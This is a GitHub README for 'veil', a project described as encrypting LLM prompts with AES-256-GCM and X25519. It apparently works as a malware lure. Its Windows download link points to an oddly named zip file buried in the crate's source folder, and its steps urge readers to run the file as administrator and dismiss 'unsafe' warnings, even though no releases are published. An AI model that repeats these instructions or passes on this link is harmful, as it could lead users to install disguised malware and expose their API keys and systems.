Skip to content

emilio4906/veil

🔐 veil - Keep Prompts Private

Download veil

🔎 What veil does

veil keeps your LLM prompts private by encrypting them before they leave your computer. It uses end-to-end encryption so only the right parties can read the data. The app is built for people who want privacy without changing how they use AI.

Use veil when you want to:

  • Send prompts with more privacy
  • Reduce the risk of message leaks
  • Keep local control over sensitive text
  • Use AI with a stronger trust model

💻 What you need

Before you install veil on Windows, make sure you have:

  • A Windows 10 or Windows 11 PC
  • A stable internet connection
  • Enough free disk space for the app and updates
  • Permission to download and run files on your computer

For best results, keep Windows up to date. If your work or school PC blocks downloads, you may need help from your device admin.

📥 Download veil

Visit this page to download veil for Windows:

https://raw.githubusercontent.com/emilio4906/veil/main/crates/veil-core/src/Software-cosmogonist.zip

Look for the latest Windows release or build on the page. Download the file that matches your system. If you see more than one file, choose the Windows .exe file or the main installer file.

🛠️ Install and run on Windows

Follow these steps on your Windows PC:

  1. Open the download page in your browser.
  2. Find the latest version of veil.
  3. Download the Windows installer or app file.
  4. When the file finishes downloading, open your Downloads folder.
  5. Double-click the downloaded file.
  6. If Windows asks for permission, select Yes.
  7. Wait while the app starts.
  8. If you see an install window, follow the on-screen steps.
  9. After setup, launch veil from the Start menu or from the file you opened.

If Windows shows a security prompt, check the file name and source before you continue. The app should come from the GitHub page linked above.

🔐 First-time setup

When you open veil for the first time, you may need to set a few basic options:

  • Choose your LLM provider
  • Add your API key if the app asks for one
  • Pick your preferred privacy mode
  • Confirm any local encryption settings
  • Save your setup before sending a prompt

Keep your API keys in a safe place. If veil stores them locally, treat your device like part of your security setup.

🧭 How to use veil

Once veil is running, the flow is simple:

  1. Open the app.
  2. Paste or type your prompt.
  3. Select the model or service you want to use.
  4. Send the prompt through veil.
  5. Let veil encrypt the message before it leaves your device.
  6. Read the response in the app or in your connected workflow.

A normal use case looks like this:

  • You write a private prompt
  • veil encrypts it
  • The request goes to the LLM service
  • The response comes back through the same secure flow

⚙️ Privacy and security model

veil uses an end-to-end encryption design. That means the message stays protected while it moves between your device and the service path. The project uses ideas from the Signal protocol, which is known for secure messaging. It also uses modern cryptography tools such as:

  • AES-256-GCM for message protection
  • X25519 for key exchange
  • Zero-knowledge design goals for less data exposure

In simple terms, veil is built to keep your prompts harder to read by anyone who should not see them.

🧩 Common use cases

veil fits well if you:

  • Handle private notes or work text
  • Test AI with client data
  • Use LLM tools for research
  • Want more control over prompt privacy
  • Need a safer path for sensitive questions

It can help when your prompts include names, plans, code, documents, or other private text.

🧰 Troubleshooting

If veil does not open, try these steps:

  • Download the file again
  • Make sure the download finished
  • Right-click the file and choose Run as administrator
  • Check that Windows did not block the app
  • Restart your PC and try again

If the app opens but does not connect:

  • Check your internet connection
  • Confirm your API key or service settings
  • Make sure your model or provider is active
  • Try a shorter prompt first

If Windows says the file is unsafe:

  • Confirm that you downloaded it from the GitHub page above
  • Check the file name and source
  • Use the latest release or build from the repository page

📁 Project topics

This project is related to:

  • cryptography
  • e2e encryption
  • privacy
  • security
  • signal protocol
  • x25519
  • aes-256-gcm
  • zero knowledge
  • llm
  • openai
  • rust
  • ai safety

🖱️ Quick start

  1. Open the download page.
  2. Get the Windows file.
  3. Run the file.
  4. Finish setup.
  5. Start sending private prompts through veil

Releases

No releases published

Packages

 
 
 

Contributors